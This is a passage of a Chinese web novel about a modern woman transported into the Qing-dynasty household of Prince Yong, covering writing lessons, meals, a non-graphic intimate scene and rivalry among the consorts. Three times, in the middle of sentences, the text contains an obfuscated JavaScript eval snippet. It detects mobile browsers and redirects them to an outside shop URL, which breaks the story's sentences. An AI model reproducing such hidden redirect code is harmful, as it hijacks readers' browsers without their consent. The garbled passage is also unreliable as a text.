宋时繁被四爷抓着手学如何握笔的时候,脑子还是懵的,她不知道四爷脑回路为什么如此清奇,怎么会突然来兴致教后院里的格格写字。 但是转念一想宋时繁就明白了,合着这是把她当成消遣了啊,也是,谁会不爱一个养成系的小美人呢,就算是清朝的皇阿哥也不能免俗呀。 不过宋时繁也没有拒绝就是了,一来,她现在还没那个胆量拒绝自己顶头上司的兴趣爱好,二来,能有个人免费教自己认字不是也挺好的嘛,总不能穿来了古代就真放弃自我,认命成一个睁眼瞎了吧? 这样一想,宋时繁便学得愈发用心起来了,毕竟她也不是完全不认识嘛,有些字连猜带蒙还是能读出来的,只是不会写罢了。 而一边的四爷见宋时繁肯学,还如此投入,学起来也快得很,兴致更高昂,便也拿出了十二分的态度认真教了起来。 一时间,二人相处起来倒是十分相宜。 直到午膳的时辰,苏培盛才敢进屋回禀:“主子爷,膳备好了,您看是不是传膳呀?” 四爷听见这话才惊觉时间过得如此快,竟不知不觉都这会功夫了,学东西也讲究劳逸结合,一次性学得太多也消化不了,于是四爷便对宋时繁道:“先用膳吧,回头爷给你送几本字帖来,到时候再慢慢学,听话,这事急不来,你肯学就已经是好事了。” 宋时繁也知道一口吃不成个胖子,于是放下笔,揉了揉酸软的手腕,朝四爷笑了笑:“多谢,我知道了。” 二人说话的功夫,苏培盛已经招呼着小太监们在摆膳了,一时间满屋飘香。 宋时繁闻到饭菜香味的时候也觉得饿了,她现在还要喂孩子呢,所以饿得快,刚刚有事做的时候还不觉得怎么样,但现下一放松便发现饿很了。 不过人一饿起来脑子就发懵,这会懵了的宋时繁已经全然忘记四爷还在的事实,一屁股就坐到了桌前,这下可把一屋子摆膳的奴才们都吓坏了,不敢再看,只将头垂得更低,摆膳的动作也越来越快,生怕四爷会发火,他们可承受不起。 宋时繁一坐下就反应过来不对劲了,但人已经坐下了,事实已经酿成了,宋时繁也不知道该怎么办好,心想着四爷会不会一气之下将她赶出去,然后不准她吃饭?那就太惨了,这饭菜这么香,要是闻到却吃不到她会伤心死的。 可事已至此她也不好没有表示,于是,只见宋时繁又颤颤巍巍地站了起来,冲着四爷赔笑道:“四爷,您坐...您坐...”说完生怕四爷下一秒就把她赶出去,还十分依依不舍地看了一眼桌上的菜。 四爷原本是有些生气的,心说这宋格格如今还真是越发不懂事了,但看着宋时繁可怜兮兮瞅着桌上菜的样子,心又有些软和下来,觉得她可能也不是故意的,许是饿坏了所以忘了也说不定呢? 所以四爷到底还是没有发火,只沉默着走到桌前坐下,又抬眼看见宋时繁一副做错事的可怜样,水汪汪的眼睛还不时瞄一眼饭菜,心下觉得好笑,至此,四爷什么气都消了。 “咳,宋氏你坐下吧,下次可不许这么没规矩了,若是到了外面叫别人看见像个什么样子?”四爷虽说不生气,但教训一下宋格格还是很有必要的。 只是这话说出来宋时繁却听着别扭地不行,四爷这话怎么跟训女儿一样,总不能教她写两个字还真把她当孩子教了吧?咦,想想就一阵恶寒。 而且什么叫到了外面被别人看见,她一个妾她能上哪儿去呀? 好在四爷说完这话也觉察出了不对劲,又找补了一句道:“你虽丢人丢不到外面去,但如今福晋刚入府,正是要立规矩的时候,他日你到了嫡福晋面前也这样不像话吗?宋氏,现下你可知错了?” 宋时繁知道此次确实是自己一时忘了形,四爷这话已经是给她台阶下了,她不能不识相,于是连忙福身行礼道:“多谢四爷教诲,下次绝不敢再犯了。” 四爷见宋时繁还算乖觉,便也不再说什么了,还吩咐了一句让宋时繁不用站着伺候,坐下和他一起吃饭就行。 不过有了前车之鉴,宋时繁坐下时还有些忐忑,也不敢再肆意妄为,只吃布菜太监夹到碗里的菜,全程一直低着头,秉承着“食不言寝不语”的原则,彻底变成了一只鹌鹑。 但四爷看着这样的宋时繁却有些不自在了。 四爷也说不出是什么原因,就是觉得宋时繁脸上还是得鲜活点看着才顺眼些,就比如刚刚带着宋时繁学写字的时候,只要一夸她,她的脸颊马上就能漾出笑容。 四爷从来没在后院里的任何女人脸上看见这样的笑容,就连从前的宋氏也没有过,她们不管什么时候都笑得恰到好处,不像刚刚的宋时繁,笑得肆意张扬,还带着些小得意,笑得四爷心都痒了,所以四爷看着眼前安静如鸡的宋时繁莫名觉得很不舒坦。 四爷想了想觉得根本原因可能是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13045508|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己刚才话说重了,所以吓到了宋时繁,看来等会得想个法子安慰一下宋时繁了。 这个时候的四爷还没意识到,他对宋时繁的包容度已经越来越大了,毕竟从前的四爷是最重视规矩的,教训完人也根本不管别人心里是怎么想的,可这会子的四爷竟然觉得自己话说重了,还觉得被训完的宋时繁看着很可怜,甚至有些心疼起来。 悄悄沦陷进去还不自知的四爷由于心里存着事没吃几口就放下了筷子,宋时繁见状也赶紧将碗筷放下,不敢再吃了,但心中十分可惜。 呜呜呜,八宝鸭那么好吃,她还没吃到几口呢,鱼片和里脊肉也好好吃,她完全没吃够,四爷为什么饭量这么小呀,这才吃几口呀居然就饱了?到底还是不是男人了!!! 彼时四爷还不知道宋时繁在心中质疑他不是男人,见宋时繁也停下筷子,便挥手让苏培盛将饭菜撤下去。 宋时繁看着一道道美味佳肴被相继撤走,忍了又忍,终于还是没忍住,对着四爷期期艾艾开口道:“四爷,能...能不能把豆沙卷留下...求求爷了!” 四爷闻言差点将漱口的茶喷出来,这宋时繁还真是...真是...语出惊人啊。 不过四爷转念一想就明白了,自己刚刚在想事情,所以没动几筷子便吃完了,可他停下了,宋时繁肯定也不敢再吃了,估计她还没吃饱就被迫停了。 当然这也不能怪四爷,他后院里的女人在他面前吃得都很少,也不敢说什么饱不饱的话,更没见哪个女人还敢直接嚷嚷出来要把点心留下。 所以四爷从前根本没有在意过这件事,紧接着四爷又回忆起了前段时间来宋时繁的院子里,也是听见她念叨着什么吃不饱的话。 想到这里四爷不禁觉得好笑不已,便吩咐苏培盛道:“把豆沙卷留下,再去膳房,叫他们备上些干果蜜饯,做成攒盒送来这里,然后上些各色点心,再吩咐膳房,以后宋氏这里每日都要上份点心,别让宋氏觉得咱们府上穷得叫格格都吃不饱了。” 四爷这最后一句话明明白白是对着宋时繁说的。 显然宋时繁也想起了之前悄悄说四爷坏话还被正主听见一事,又加上她刚刚还主动开口暴露了自己大馋丫头的本质,于是宋时繁的脸“腾”一下就红了。 好在四爷说完这一句便止住了话头,不再取笑宋时繁,宋时繁脸上的热度这才减轻了一些。 而一旁的苏培盛得了四爷这样的吩咐,知道四爷这会子心情很好,便极有眼色地接话道:“这回膳房可要高兴了,能叫主子爷亲口吩咐他们一回,奴才替膳房谢谢宋格格了,这都是托了宋格格的福气呢。” 宋时繁好不容易消下去的羞涩叫苏培盛一句话又勾了出来,当即坐都坐不住了,忙忙起身对着四爷行礼:“四爷您坐,我...我吃太饱了,去外面消消食...” 但宋时繁说完又惊觉不对,当下脸更红了,不敢再看四爷脸色,头一低便像鸵鸟一样逃出了屋子。 四爷见宋时繁再次逃跑了,心说这宋氏害羞起来的模样竟这般好看。 于是四爷也高兴起来,大手一挥对着苏培盛道:“苏培盛,如今你倒是越发会贫嘴贫舌了,竟敢打趣起主子来了,罢了,自己去库房领赏吧,再赏赐膳房二十两银子,你去吧!”说罢,四爷便起身回到书桌旁继续看书。 而得了赏赐的苏培盛也乐颠颠地去做事了,瞧瞧他多会做人啊,一句话就得了主子爷的赏,不过经此一遭,苏培盛敏锐地察觉到,四爷眼看着是对宋格格上心了呀,这宋格格日后怕是要不一样起来了。 12. 难得悠闲 出了屋的宋时繁叫外面的冷风一吹终于是将脸上的热度消下去不少。 不过既然已经溜出来了,宋时繁这会子也不打算立刻回屋面对一直调戏她的四爷,便拉着白薇绕着院子慢慢走,全当是饭后的消食运动了。 “白薇,大格格那边如何了?”宋时繁觉得光走没什么趣味,便随意捡些话来同白薇说。 白薇闻言笑道:“格格您放心,奴才刚刚去瞧过了,奶娘正伺候着大格格喝奶呢,大格格吃得可香了...只不过...” 听出白薇好似有未尽之言,宋时繁略一挑眉看向白薇开口道:“咱们相处也这么久了,你知道我的脾气秉性,有话直说便是,干嘛吞吞吐吐的呀。” 白薇将头低了下去,犹豫再三还是道:“格格,您对大格格的疼爱奴才们都看在眼里呢,只不过,要想在这府里有长久日子过,格格您还是得把心往主子爷身上匀一匀才是,方才奴才瞧主子爷正高兴呢,格格何故将主子爷抛下自己出来了?奴才还以为先前奴才的话格格已经听进去了,没成想...” 白薇一边说着一边观察着宋时繁的脸色,见宋时繁听后只抿了抿嘴却没说话,当即便跪了下去开始磕头:“是奴才逾矩了,格格赎罪,奴才该死!” 宋时繁被白薇突然磕头的动作吓了一跳,连忙伸手将白薇扶了起来:“你别这样!我没有怪你的意思,我知道你是为我好,也是为大格格好,只是我这心里总也过不去这一关...罢了,你说得对,既然已经是没办法的事了,我这样犹犹豫豫反倒还显得矫情。” 白薇虽对宋时繁的话一知半解,但听宋时繁的意思好歹是愿意将心思放在主子爷身上了,那就是好事,本来嘛,自家主子要相貌有相貌,要孩子有孩子,凭什么在这府上却没有一席之地呢,主子能想明白那真是再好不过了。 宋时繁也确实想通了,她到清朝已经快三个月了,想回去是肯定没可能了,如果一直不能适应这里的生活,等着她的就是一个死字,生死面前无大事,不就是给人当小妾嘛,咬咬牙也不是不行。 想到这里宋时繁不由有些庆幸了,若是当时她穿到了贫苦人家,没吃没喝倒是小事,若真倒霉起来碰见不做人事的爹娘为了钱给她卖到妓院里都有可能,就目前来看,她还算是不错了,起码衣食无忧不是? 既然已经完全想通了,宋时繁也不再扭扭捏捏,转身便回了屋子。 一进屋四爷依旧在看书,宋时繁心说不愧是未来要当皇帝的人,休沐的时候都这样勤勉。 恰好此时膳房的人将四爷刚刚吩咐过的果脯攒盒以及点心饽饽送了过来,攒盒里摆了八样东西,四样干果四样蜜饯,光看着就让人食指大动,点心饽饽也上了好几种,水晶糕、山楂糕、枣泥糕等等。 不过宋时繁的注意力却没有集中在吃的上面,而是被描金的攒盒吸引住了目光。 “四爷,这个盒子能留给我吗?”宋时繁光顾着看攒盒上的描金花纹了,一个没注意便将心里话给说了出来。 而一旁的四爷是彻彻底底无语了,这宋氏怎么越来越不着调了?吃得竟还堵不上她的嘴,怎么胡话张口就来? 最终四爷还是屈服了,想了想开口道:“...你喜欢就留着吧,什么东西竟也值得跟爷讨?回头爷叫苏培盛找点好东西来赏你,不过今天是不行了。” 宋时繁听见四爷这样说倒没想那么多,只是有些奇怪原因,便开口问四爷道:“为什么今天不行?” 四爷还以为宋时繁担心自己到时候不赏她了,便耐着性子解释道:“才赏了你这些点心,若是再有赏赐进你的院子,后院里的人还不叫你吃了?听话,爷不会忘记的,赶明儿就叫苏培盛给你挑些好的送来。” 宋时繁这才明白,原来四爷是在体谅她呢,这么一想,宋时繁觉得未来的日子更加有盼头了。 可不是嘛,若四爷当真是个兴致起来不管不顾的人,那就算以后得了宠,宋时繁的日子也未必会好过,四爷如今这样的就很好,最起码得宠也好,失宠也罢,日子总归不会太难受。 想到这里宋时繁对着四爷甜甜一笑,捻起一颗蜜枣便要往四爷的嘴里送,四爷先是被宋时繁突如其来的笑容晃了神,等反应过来以后那颗齁甜的蜜枣已经进了嘴。 四爷其实不爱吃甜的,但既然是宋氏亲自喂到他嘴里的,所以这话也就不必说给宋氏听了,免得惹了宋氏伤心。 不过,这枣没有刚刚宋氏脸上的笑甜,四爷默默想着,将蜜枣咽了下去,还对着宋时繁开口道:“好吃,你也尝尝去。” 宋时繁见四爷仿佛还挺高兴的样子便心满意足地跑到桌边捡点心吃了,吃到好吃的仍旧会给四爷喂一口。 宋时繁想得很简单,既然决定了要对四爷示好争宠,那她就得有点表示不是? 从前她的室友们在她面前和男朋友互动的时候,都会喂来喂去,可见这是个增进感情的好方法。 而且四爷刚刚已经吃了她喂过去的蜜枣,那就是同意她继续投喂的意思,这样大好刷好感的机会,宋时繁才不会轻易放过呢。 于是不一会,宋时繁和四爷都吃撑了。 四爷连忙叫停:“快歇歇吧,再吃晚膳要吃不下了,仔细撑得胃疼,去叫你的奴才取些砂仁来。” 宋时繁有些疑惑:“砂仁?什么东西?”等白薇将一盘子砂仁端上来的时候,宋时繁已经完全懵了:“这是做什么用的?” 然而还不等宋时繁表达完疑惑,四爷已经率先捡起几粒丢进了嘴里,还让宋时繁也吃:“你也嚼些,消消食,方才没注意吃得太多了。” 对此宋时繁表示拒绝,“啊,我不想吃这个...看着就....实在不行我再吃些山楂糕?山楂也消食嘛,总归比这个看着可口些...” 四爷有些无奈,想了想还是对白薇说道:“去给你家格格用砂仁泡些水来喝。”白薇点头应下,忙去了。 宋时繁知道这次躲不掉了,但泡水喝总比干嚼什么砂仁好,所以当白薇将砂仁水端来的时候,宋时繁便也不再抱怨,端起来小口就喝了。 等终于折腾完,四爷便拉着宋时繁想要继续练字,不过这一次,宋时繁就没有那么高的配合度了。 这也不怪她,真心是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13045509|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为早上去给福晋请安的时候她起得太早了,这会子刚一吃饱宋时繁便忍不住地开始犯困。 四爷见宋时繁的头都开始一点一点了,心下觉得好笑,也不再强迫她,大手一挥就放宋时繁去午睡了。 而困极了的宋时繁属实也管不了那么多,等白薇帮她脱完衣服,卸掉钗环后,便一头栽到床上,翻了个身将被子一裹就睡着了。 此刻被晾在边上的四爷被床上滚来滚去的宋时繁可爱到了,于是也不恼,反倒觉着难得有这样安静悠闲的时光,便也让人换了从前留在这里的寝衣,挨着宋时繁躺了下去。 屋子里二位主子都睡沉以后,白薇便悄悄退了出去,只留下一室寂静。 黄昏时分,屋子里总算有了些声音传了出来,是宋时繁发出来的。 因为宋时繁醒来的时候就发现自己整个人挂在了四爷身上,很难形容母胎单身的宋时繁一睁眼看见一张男人脸是什么心情,而且这张脸还是超近放大版,所以宋时繁惊呼了一声。 睡梦中的四爷被这一声尖叫吵醒后,还只当发生什么事了,忙用目光搜寻宋时繁的身影,谁知就看见宋时繁缩在角落,一脸惊慌,甚至仔细品还能从中品出一丝良家妇女遇见采花大盗时的反应。 四爷无奈扶额,合着爷睡自家格格还睡成采花贼了。 但想着想着,四爷的思想就拐了弯,还真别说,这会子宋氏一副可怜兮兮的清纯样还真是勾人,于是四爷看着宋时繁的目光越来越深邃了。 终于,四爷没忍住将宋时繁一把拉进了怀里,心里还想着,爷今日可不能白当一回采花贼,于是宋时繁就悲剧了。 屋外白薇原本听见声音还以为主子们要起身了,谁知刚一靠近门口就听见里屋传来一阵不可描述的声音,瞬间,白薇的脸就红成一片,当下便止住步子不敢再上前了。 这一场闹了大半个时辰才算完,当事人四爷表示吃得心满意足,神清气爽,而宋时繁却彻底没力气了,最后还是被白薇搀着收拾干净的。 更完衣后,宋时繁坐在铜镜前由着白薇帮自己梳妆,透过镜子,宋时繁看见正悠然喝着茶的四爷,心说没想到清朝人还挺会玩,这会又作出一副正经模样,呸,全都是假象! 想到这里,宋时繁心中更加忿忿不平,于是一双眸子便幽怨地盯着四爷使劲儿瞧,四爷被看得都有些不自在了,还轻咳了一声想掩饰尴尬。 四爷也知道自己过分了,他刚刚光顾着自己舒坦,确实将宋氏欺负狠了,不过说来也怪,他从前在这事上一向节制,方才也不知为何竟...咳,罢了,总归这次是他的错,还是要想法子哄一哄宋氏高兴才是。 于是四爷自作聪明地开口说道:“咳,别恼了,今晚爷不走了成不成?还留下来陪你,这下高兴了,不生爷的气了吧?嗯?” 可惜,四爷的大胆开麦换来的却是宋时繁的一记白眼。 四爷被宋时繁这一眼瞪得有些悻悻然,只好尴尬地摸了摸鼻子,心里不由想道,嘿,这宋氏还挺难哄,难不成自己刚刚真是太用力了?好像...也许...约莫...还行吧... 13. 年前赏赐 没多久便到了年节跟前,过年总归算是个大日子,府里一早便装饰了起来,连宋时繁的小院儿也跟着热闹了许多。 这日午后,宋时繁正抱着大格格在廊下看太监们在院子里洒扫布置。 虽说现在是冬日,院子里已经萧瑟了不少,其实没有什么看头,但对于大格格这样的小孩子来说,总归是比闷在屋子里头新鲜的。 如今的大格格还不会说话,但已经认识自己的亲额娘是宋时繁了,所以每次宋时繁抱着大格格的时候,大格格就会格外高兴。 今次也是一样,大格格兴奋地一会儿指指院子,一会儿碰碰宋时繁的脸,嘴里还咿咿呀呀地说着婴语,宋时繁也不阻拦,只抱着大格格笑。 倒是立在宋时繁跟前的两个奶娘见状,心底里有些按耐不住地担忧。 其中,奶娘赵氏踌躇了一会,还是小心地劝了一句:“大格格还小呢,怕是禁不住风扑的,这时候院子里也是人多眼杂,宋格格不若带着大格格到屋子里玩会儿?” 虽是劝诫,但态度十分客气,生怕哪句话说得不对再惹了宋时繁不悦。 自从四爷发落了房氏以后,奶娘们便不敢在宋时繁面前放肆了。 所以这会子赵氏即便觉得宋时繁做得有些不妥,也只敢在旁边劝说一二句,但若是宋时繁不肯听,或是要发落她,那也是没办法的事。 好在,宋时繁只是笑了笑,倒并没有半分生气的意思。 其实宋时繁的心里还是能够体谅这些奶娘们的。 她们大多都是四爷门下的奴才们,被选进来做了府里小主子的奶娘以后,便时时要忍受骨肉分离之苦,若是万一小主子再有个什么不好,罪还得奶娘们来担着,她们也不好做。 而且宋时繁知道,赵氏总归不会害了大格格,毕竟这些奶娘们能选上来跟着伺候,那就是要伺候大格格一辈子的,可以说大格格以后的荣辱安危也关系到她们自身的利益,所以宋时繁不觉得她们会有坏心,从前的房氏那是猪油蒙了心,以为她好拿捏才敢欺主。 可赵氏却是真怕大格格生病才多嘴说了这句话,奶娘们肯真心疼爱大格格,宋时繁只有高兴的,自然不会苛责她们。 不过,这时的奶娘们对待孩子没有后世那样科学,一味只知道少吃,要么就是捂着不见人,哪怕是夏天都不敢见风,太小的时候根本不抱出来的。 可太谨慎倒会适得其反,要不怎么说清朝时候的孩子多数都夭折了呢。 在宋时繁看来,大格格的虚弱归根结底还是自身免疫力不够,若一味小心呵护着反倒不美。 本来嘛,人生下来就是有抵抗力的,但养的太精细太小心了就会破坏了小孩子自身的免疫力,再加上这时候医辽手段没有后世那么先进,孩子的成活率自然就低了。 所以宋时繁才想着要多带大格格出来见见太阳,但这些原理想要跟奶娘们解释起来还是有点复杂的。 于是宋时繁想了一会对赵氏开口道:“无妨,咱们站在廊下,离院子还远着呢,我是瞧这会子太阳正好,冬日里少见这样的太阳呢,叫大格格晒晒太阳对身体好,也不会在外面太长时间的,略站站咱们就回去,不用担心。”说着还对赵氏笑了笑。 赵氏被宋时繁笑得晃了神,心说这宋格格长得真是我见犹怜的,笑起来都这样招人疼,怎地进府后听说的都是宋格格不招主子爷待见的话呢?莫非四爷的眼光比旁人不一样些?真是奇了怪了。 宋时繁不知道赵氏这会在心里琢磨什么,见她不再说话了便继续逗着大格格玩。 恰好这时白薇捧着东西进了院子,身后还跟了几个小太监,宋时繁看着眼生,不过见他们人人手上都拿着东西,再联想马上过年了,便估摸着应该是福晋那边的人给她送年节赏赐来了。 这会子若是再继续站在廊下确实是有些不合适了,宋时繁也不纠结,转身便抱着大格格回了屋子。 进屋以后,宋时繁就将大格格放到了榻上,虽说这时候的大格格总共也没几斤,甚至还比同龄孩子瘦小些,但宋时繁抱久了还是觉得手臂受不住。 于是,宋时繁一边自己揉搓着小臂,一边笑着对大格格说:“我们大格格长得可真快呀,额娘这会都觉得有些抱不动了,等以后大格格长高长壮了,额娘该怎么办好呢?” 大格格可不明白宋时繁在说什么,只觉得突然从外面进了屋子有些不高兴,嘴巴一瘪一瘪地。 好在,大格格不是个爱哭的性子,到底没哭出声来,只委屈巴巴地看着宋时繁,不明白她的额娘为什么不抱她在外面玩了。 宋时繁被大格格不哭不闹的样子弄得心里一软,明明心里想出去玩,明明不满意额娘不抱她,竟真能忍住脾气,要知道大格格这会还小呢,居然如此懂事体贴。 宋时繁这会子打心眼里觉得这孩子是上天送给她的礼物,要不怎么会这么可心呢? 其实宋时繁还真是误会了,大格格才三个月大哪里知道什么体贴额娘,只不过是她天生不爱哭罢了,不过宋时繁正是母性泛滥的时候,自然是她的娃天下第一好啦,也可以理解嘛。 等院子里喧闹声终于消散以后,白薇便进了屋子:“给格格请安,方才福晋吩咐人送来了年节的赏赐。” 宋时繁无可无不可地点了点头,随后问道:“可都安置好了?” 白薇抿了抿唇角,犹豫了下还是回答道:“回格格的话,今年的赏赐比往年厚了些,但府里的格格们是一样的,都比照着从前的份例再增厚了两分发下来的,只是...” 见白薇有些吞吞吐吐,显然是还有未尽之言,宋时繁索性也就不出声,等着白薇自己继续往下说。 “今年咱们院里除了别人都有的赏赐外,还多了一匹布,一小盒香料,另有一对珊瑚耳坠子,奴才打听了一下,说是福晋特意吩咐下来的,福晋还说,格格您有大格格在膝前,到底不一样,赏赐也得连着大格格的份儿,自然要比旁人重些...” 没等白薇把话说完,宋时繁的眉头已经紧紧锁了起来,她先是挥手打断了白薇的话,然后招呼奶娘先将大格格抱下去:“我瞧着大格格应该是困了,你们抱回去叫她睡吧。” 奶娘们自然不敢有异议,赵氏上前接过大格格,随后便跟另一位奶娘周氏一起退出了正屋,朝着大格格的西厢走去。 等奶娘们带着大格格退下去以后,宋时繁才叫白薇上前来:“你可打听清楚了没,李氏那边得的什么赏?按说她还有身孕,怎么也该照顾些不是?” 白薇思索片刻,还是道:“回格格的话,奴才是从送东西的小太监们哪儿问来的话,他们说,是福晋亲自吩咐下来的东西,想必错不了,李格格...李格格和武格格、郭格格得的赏赐是一样的。” 闻言宋时繁深深叹了一口气:“看来福晋是铁了心要拉我出来跟李氏唱对角戏了,我还不得不上台装扮着演给她们看,否则怕是以后都没有安生日子过了,这可真是...”说到后面,宋时繁的声音渐渐微弱起来,几乎微不可闻了。 幸好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李氏气得将手中的茶碗狠狠掼在桌子上:“凭她宋氏是个什么东西,入府这么久就没见她什么时候得过主子爷的青眼,这会子福晋随便勾勾手她就顺杆爬了上去,我呸,都是一样的人她凭什么比我尊贵些?” 随喜和随乐无奈地对视了一眼,哎,李格格自从有孕以后,脾气越来越暴躁不说,如今更是一点儿气都受不了了,但随喜和随乐还必须得跟在后面劝。 随喜自来有主意些,想了想开口道:“格格,福晋这是故意做给您看呢,如今格格胎像稳固,若是能一举得男,那就是咱们府里的长子,福晋能不着急吗?” 说到这里,随喜见李氏脸上的表情有些松动了,忙继续劝道:“奴才瞧着,福晋怕是巴不得您去跟宋格格作对呢,到时候不管您跟宋格格哪一个不好了,得利的人不都是福晋?” 随喜将利害关系一说,李氏便收起了愤怒,显然是将随喜的话给听进去了。 于是随喜再接再厉道:“所以说,格格您现在最重要的还是保养身体,平平安安将小阿哥生下来才是要紧事,宋氏那边再如何,到底也只有一个格格呢...您还有主子爷的宠,明眼人一瞧就知道府里谁尊贵,难不成福晋多给点赏赐她就不同了?” 李氏也知道随喜说的都对,可心里终究意难平:“我到底咽不下这口气,若今次就这么认了,岂不是承认我不如那宋氏了?” 要说从前她没怀孕的时候,还愿意让宋氏三分,可如今她也有孩子了,说不定府里的长子都要从她肚子里爬出来,她又向来得主子爷宠爱,哪怕是侧福晋的位子她也是能想一想的,到时候还有宋氏什么事儿? 所以这时候的李氏格外不愿意被宋时繁压一头。 随喜闻言笑了笑开口道:“这有什么难,格格先前因为请安那事儿惹了四爷不快,当时格格是有些冲动了,可如今,格格确确实实是受了天大的委屈呀...” 李氏的脸上这才露出几分笑意。 14. 罚跪 当天晚上,四爷一回府便看见李氏身边的太监高明海来请他。 这会子四爷其实还记得之前李氏仗着有身孕就争宠的事情,心里对李氏存着不满呢。 但李氏肚子里毕竟还怀着他的孩子,也不能太过冷待,于是思索片刻后,四爷仍旧迈开步子准备往李氏的院子里去。 可半路上,四爷似乎又想起了什么,招呼苏培盛问道:“今日府上可是发生什么事了?” 苏培盛虽说今天一整天都陪着四爷在外头办差,但府上的事他还是了若指掌的,否则他还怎么做四爷的贴身太监,瞧瞧,主子爷这不是就来问他了。 于是,苏培盛对着四爷福了一礼,然后才道:“午后,福晋命人往各处送了年节的赏赐,福晋仁厚,惦念着大格格,还特意多嘱咐了些东西赏赐宋格格,宋格格也欢喜,马上便让人去针线房将福晋送来的布匹制成衣服,说是打算过年的时候就上身,宋格格十分感激福晋大恩呢。” “福晋只赏了宋氏?”苏培盛话音刚落,四爷便开口问道。 苏培盛忙答:“其实格格们得的赏赐都是比往年厚了两分的,主子爷您和福晋刚刚大婚,今年按说是该隆重些,可这额外的赏赐确实只有宋格格一人得了...” 说到这里,苏培盛停顿了片刻,随即还是补上一句道:“不过,宋格格哪儿毕竟有大格格在,福晋多疼爱些也是有的。” 这却是苏培盛在为宋时繁分辨了,苏培盛也是见四爷近段时间常去看望大格格,估摸着对宋格格也上了心,才忖度着主子的心意多了一句嘴。 四爷听出来了,但心里还是有些压不住火,福晋刚入府的时候原以为是个贤惠的,谁知才一个李格格有孕,就叫她自乱阵脚,竟刻薄起人来,宋氏也是没出息,前两日爷才抬举了她两分,这会竟靠上了福晋。 越想越气的四爷冷笑一声道:“哼,她们两个倒真是融洽得很,只是爷却不知道你得了宋氏什么好处,竟也肯为宋氏说话?” 苏培盛闻言吓了一跳,忙跪下回话:“主子爷赎罪,奴才不敢!” 天知道,他只是觉得四爷前几日好似对宋格格十分满意,这才帮着宋格格辩解了一句,原以为能讨四爷高兴,没成想却叫四爷生气了,莫非先前是他错看了宋格格?其实宋格格是个没本事抓住四爷的?真该死,以后再也不干这种吃力不讨好的事了。 苏培盛默默盘算着,但这会子苏培盛也不能帮自己辩解什么,只将头结结实实磕了下去,不敢再抬起来。 四爷见苏培盛战战兢兢的样子有些烦躁了,到底是跟在身边的老人了,总不能因为一句话便罚,而且四爷其实并不是真气苏培盛帮宋时繁说话,他只是有些...说不上来的情绪罢了。 不是不高兴,也不是生气,反而像是有些失望。 没错,就是失望,四爷对宋时繁有些失望,这几天接触下来,他原本以为宋时繁和他后院里的其他女人不一样,但这会子四爷猛然发现宋时繁也会拉帮结派地争宠欺负人,心里头便控制不住地涌现出失望的情绪。 于是失望的四爷脚尖一转,换了方向,暂时先不打算去李氏那里了,而是朝着宋时繁的院子走去,四爷也不知道他这会是什么心理了,就是有一种要当面问问宋时繁的冲动,既想问她为何要这样,又怕她真是这样的人... 四爷纠结了一路,走到宋时繁的院子时,甚至还产生些近乡情怯的感觉,不过人已经到了门口,四爷想了想还是迈步进去了。 一直跟着四爷的苏培盛却着实摸不着头脑了,方才见四爷还很生宋格格气的样子呀?怎么又往宋格格屋里来了?苏培盛真有些糊涂了,这宋格格到底是有指望还是没指望呢?哎,他这个主子爷的贴心小马甲竟也有看不懂主子爷的时候,真是太失职了! 不过彼时的四爷却扑了个空,因为宋时繁压根不在屋子里。 原本酝酿着要好好质问一下宋时繁的四爷突然有些泄气了,但俗话说,来都来了,于是四爷招来院里的粗使太监问道:“你们格格呢?” 粗使太监难得能跟四爷说上话,便格外想表现些自己的伶俐,忙答道:“奴才回主子爷的话,宋格格这时候应该是在西厢里陪大格格呢,平日里宋格格没事就会陪着大格格。” 听见这话的四爷心里又软了三分,罢了,宋氏再不好,总归为他生了大格格,又真心疼爱大格格,等会还是不要吓到她比较好,她胆子小。 得,原本怒气冲冲的四爷顺利地让情绪自产自销了。 于是,等宋时繁在西厢见到四爷的时候,四爷还算是和颜悦色,宋时繁并不知道先前四爷还生了她的气,确切的说,宋时繁根本没料到四爷这个时间会来找她。 因为按照宋时繁原先预计的情况,这会子四爷应该在听李氏告状。 她下午故意整那么一出,就是为了气一下李氏,好激李氏去找四爷告状,到时候让李氏这个苦主亲自在四爷面前上上福晋的眼药,岂不是很有说服力? 当然了,这样很有可能会波及到她自己,不过宋时繁现下也管不了那么多,福晋都拿她当枪使了,她夹在中间本就难做,这时候不如添把火,把事情闹大,若是借此能让李氏直接和福晋对上,她才算安全些。 就算到时候四爷知道了,按照先前与四爷的接触来看,四爷还算明事理,而且分东西的是福晋,挑事的也是福晋,就算四爷怪罪下来,应该也不会对她怎么样吧,最坏的情况无非是四爷再度对她不理不睬起来,她本就失宠,也没在怕的。 可这时候四爷居然出现在她这里,莫非计划失败了?不对啊,明明听说李氏早早就去请四爷了呀?到底是哪里出问题了?宋时繁简直一头雾水。 等等,这人莫不是来替李格格出气的吧?因为她是个微不足道的小格格,所以四爷觉得随意处置了也没关系?该死,那她可就太倒霉了。 想到这里,宋时繁下意识朝着四爷看去,眼神中带着一丝防备。 好巧不巧,这一闪而过的防备被四爷精准捕捉到了,四爷刚刚消下去的火气一瞬间就涌了上来。 